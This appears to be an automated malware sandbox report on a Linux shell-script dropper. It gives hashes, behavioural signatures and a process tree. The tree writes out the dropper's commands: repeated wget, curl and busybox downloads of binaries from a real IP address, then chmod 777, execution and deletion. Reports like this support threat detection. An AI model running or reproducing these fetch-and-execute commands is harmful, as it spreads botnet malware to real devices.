Analysis
-
max time kernel
33s -
max time network
34s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
28/10/2024, 02:34
Static task
static1
Behavioral task
behavioral1
Sample
56f6cd50075fc25241f07867a21d2a0f3b000cd7a9e8baac6a4bb1e0bdb60c91.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
56f6cd50075fc25241f07867a21d2a0f3b000cd7a9e8baac6a4bb1e0bdb60c91.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
56f6cd50075fc25241f07867a21d2a0f3b000cd7a9e8baac6a4bb1e0bdb60c91.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
56f6cd50075fc25241f07867a21d2a0f3b000cd7a9e8baac6a4bb1e0bdb60c91.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
56f6cd50075fc25241f07867a21d2a0f3b000cd7a9e8baac6a4bb1e0bdb60c91.sh
-
Size
10KB
-
MD5
7b4d271e102cd41b604d6fea5d979e2d
-
SHA1
56b5d99bae8b5353d96d700fda3d30d396cc9828
-
SHA256
56f6cd50075fc25241f07867a21d2a0f3b000cd7a9e8baac6a4bb1e0bdb60c91
-
SHA512
ac1884092a54f7829359fccf4958bfc2add2cc2a89006fc0fadd30221a55d9c559a91e0a83747d00161c63e152fef77f819c20574cbd81fb4bdde05f1ed486c5
-
SSDEEP
192:C83Wep8P79w808A8uBpzuRtUltYv3WfjIK3qRtUlta808A8uBpKv3WfjaB83hP7W:Crep8P79w808A8uBpzyv3WfjIK38808f
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 28 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 811 chmod 831 chmod 875 chmod 893 chmod 914 chmod 920 chmod 775 chmod 763 chmod 781 chmod 825 chmod 837 chmod 849 chmod 855 chmod 861 chmod 733 chmod 881 chmod 787 chmod 680 chmod 908 chmod 819 chmod 843 chmod 805 chmod 902 chmod 867 chmod 887 chmod 926 chmod 799 chmod 793 chmod -
Executes dropped EXE 28 IoCs
ioc pid Process /tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms 681 GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms /tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt 734 zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt /tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF 765 xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF /tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs 776 CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs /tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa 782 jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa /tmp/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB 788 DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB /tmp/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S 794 ZaCmBj05noshx614szHWsFSt4WhLb0wu7S /tmp/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo 800 LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo /tmp/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K 806 OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K /tmp/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f 812 qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f /tmp/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU 820 hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU /tmp/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD 826 0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD /tmp/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF 832 waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF /tmp/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ0 838 quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ0 /tmp/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K 844 OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K /tmp/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f 850 qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f /tmp/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU 856 hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU /tmp/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo 862 LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo /tmp/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF 868 waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF /tmp/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ0 876 quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ0 /tmp/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD 882 0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD /tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt 888 zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt /tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF 894 xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF /tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs 903 CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs /tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa 909 jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa /tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms 915 GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms /tmp/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB 921 DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB /tmp/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S 927 ZaCmBj05noshx614szHWsFSt4WhLb0wu7S -
Checks CPU configuration 1 TTPs 28 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl -
System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 813 rm 846 wget 847 curl 848 busybox 809 curl 812 qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f 850 qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f 851 rm 808 wget 810 busybox -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa curl File opened for modification /tmp/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD curl File opened for modification /tmp/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ0 curl File opened for modification /tmp/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB curl File opened for modification /tmp/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo curl File opened for modification /tmp/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f curl File opened for modification /tmp/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K curl File opened for modification /tmp/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD curl File opened for modification /tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs curl File opened for modification /tmp/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF curl File opened for modification /tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF curl File opened for modification /tmp/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB curl File opened for modification /tmp/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S curl File opened for modification /tmp/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ0 curl File opened for modification /tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms curl File opened for modification /tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms curl File opened for modification /tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt curl File opened for modification /tmp/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K curl File opened for modification /tmp/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU curl File opened for modification /tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa curl File opened for modification /tmp/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S curl File opened for modification /tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF curl File opened for modification /tmp/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f curl File opened for modification /tmp/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo curl File opened for modification /tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs curl File opened for modification /tmp/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU curl File opened for modification /tmp/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF curl File opened for modification /tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt curl
Processes
-
/tmp/56f6cd50075fc25241f07867a21d2a0f3b000cd7a9e8baac6a4bb1e0bdb60c91.sh/tmp/56f6cd50075fc25241f07867a21d2a0f3b000cd7a9e8baac6a4bb1e0bdb60c91.sh1⤵PID:649
-
/bin/rm/bin/rm bins.sh2⤵PID:651
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵PID:656
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:664
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵PID:674
-
-
/bin/chmodchmod 777 GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵
- File and Directory Permissions Modification
PID:680
-
-
/tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms./GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵
- Executes dropped EXE
PID:681
-
-
/bin/rmrm GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms2⤵PID:682
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵PID:684
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:686
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵PID:732
-
-
/bin/chmodchmod 777 zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵
- File and Directory Permissions Modification
PID:733
-
-
/tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt./zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵
- Executes dropped EXE
PID:734
-
-
/bin/rmrm zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt2⤵PID:735
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵PID:736
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:737
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵PID:760
-
-
/bin/chmodchmod 777 xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵
- File and Directory Permissions Modification
PID:763
-
-
/tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF./xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵
- Executes dropped EXE
PID:765
-
-
/bin/rmrm xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF2⤵PID:766
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵PID:768
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:771
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵PID:774
-
-
/bin/chmodchmod 777 CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵
- File and Directory Permissions Modification
PID:775
-
-
/tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs./CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵
- Executes dropped EXE
PID:776
-
-
/bin/rmrm CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs2⤵PID:777
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵PID:778
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:779
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵PID:780
-
-
/bin/chmodchmod 777 jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵
- File and Directory Permissions Modification
PID:781
-
-
/tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa./jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵
- Executes dropped EXE
PID:782
-
-
/bin/rmrm jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa2⤵PID:783
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵PID:784
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:785
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵PID:786
-
-
/bin/chmodchmod 777 DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵
- File and Directory Permissions Modification
PID:787
-
-
/tmp/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB./DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵
- Executes dropped EXE
PID:788
-
-
/bin/rmrm DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB2⤵PID:789
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵PID:790
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:791
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵PID:792
-
-
/bin/chmodchmod 777 ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵
- File and Directory Permissions Modification
PID:793
-
-
/tmp/ZaCmBj05noshx614szHWsFSt4WhLb0wu7S./ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵
- Executes dropped EXE
PID:794
-
-
/bin/rmrm ZaCmBj05noshx614szHWsFSt4WhLb0wu7S2⤵PID:795
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵PID:796
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:797
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵PID:798
-
-
/bin/chmodchmod 777 LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵
- File and Directory Permissions Modification
PID:799
-
-
/tmp/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo./LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵
- Executes dropped EXE
PID:800
-
-
/bin/rmrm LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵PID:801
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵PID:802
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:803
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵PID:804
-
-
/bin/chmodchmod 777 OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵
- File and Directory Permissions Modification
PID:805
-
-
/tmp/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K./OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵
- Executes dropped EXE
PID:806
-
-
/bin/rmrm OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵PID:807
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- System Network Configuration Discovery
PID:808
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:809
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- System Network Configuration Discovery
PID:810
-
-
/bin/chmodchmod 777 qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- File and Directory Permissions Modification
PID:811
-
-
/tmp/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f./qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:812
-
-
/bin/rmrm qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- System Network Configuration Discovery
PID:813
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵PID:814
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:817
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵PID:818
-
-
/bin/chmodchmod 777 hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵
- File and Directory Permissions Modification
PID:819
-
-
/tmp/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU./hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵
- Executes dropped EXE
PID:820
-
-
/bin/rmrm hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵PID:821
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵PID:822
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:823
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵PID:824
-
-
/bin/chmodchmod 777 0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵
- File and Directory Permissions Modification
PID:825
-
-
/tmp/0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD./0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵
- Executes dropped EXE
PID:826
-
-
/bin/rmrm 0aqU8R5HGJK6Gy8ddl6f8xZLaxaxTW3YUD2⤵PID:827
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵PID:828
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:829
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵PID:830
-
-
/bin/chmodchmod 777 waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵
- File and Directory Permissions Modification
PID:831
-
-
/tmp/waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF./waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵
- Executes dropped EXE
PID:832
-
-
/bin/rmrm waAPo0qq3lo5zSiiYrKkRFSOLMterXjzXF2⤵PID:833
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵PID:834
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:835
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵PID:836
-
-
/bin/chmodchmod 777 quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵
- File and Directory Permissions Modification
PID:837
-
-
/tmp/quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ0./quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵
- Executes dropped EXE
PID:838
-
-
/bin/rmrm quWUuwIzy6vsLENFXXKqVqPpjy54CzVvZ02⤵PID:839
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵PID:840
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:841
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵PID:842
-
-
/bin/chmodchmod 777 OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵
- File and Directory Permissions Modification
PID:843
-
-
/tmp/OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K./OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵
- Executes dropped EXE
PID:844
-
-
/bin/rmrm OCP0uncNiHBP8NIcR9Le7eSSwiLPi1wT4K2⤵PID:845
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- System Network Configuration Discovery
PID:846
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:847
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- System Network Configuration Discovery
PID:848
-
-
/bin/chmodchmod 777 qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- File and Directory Permissions Modification
PID:849
-
-
/tmp/qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f./qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:850
-
-
/bin/rmrm qCtRgxIpi33SQYgZrZeXHBwb5JqVl9PC1f2⤵
- System Network Configuration Discovery
PID:851
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵PID:852
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:853
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵PID:854
-
-
/bin/chmodchmod 777 hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵
- File and Directory Permissions Modification
PID:855
-
-
/tmp/hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU./hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵
- Executes dropped EXE
PID:856
-
-
/bin/rmrm hasZYOoq1Mr6rt2kBkyFmPc9kRyLEYUtHU2⤵PID:857
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵PID:858
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/LuIg7oxtWX8Oz8cK0UrnvBBrpNbcYca6qo2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:859
-
-
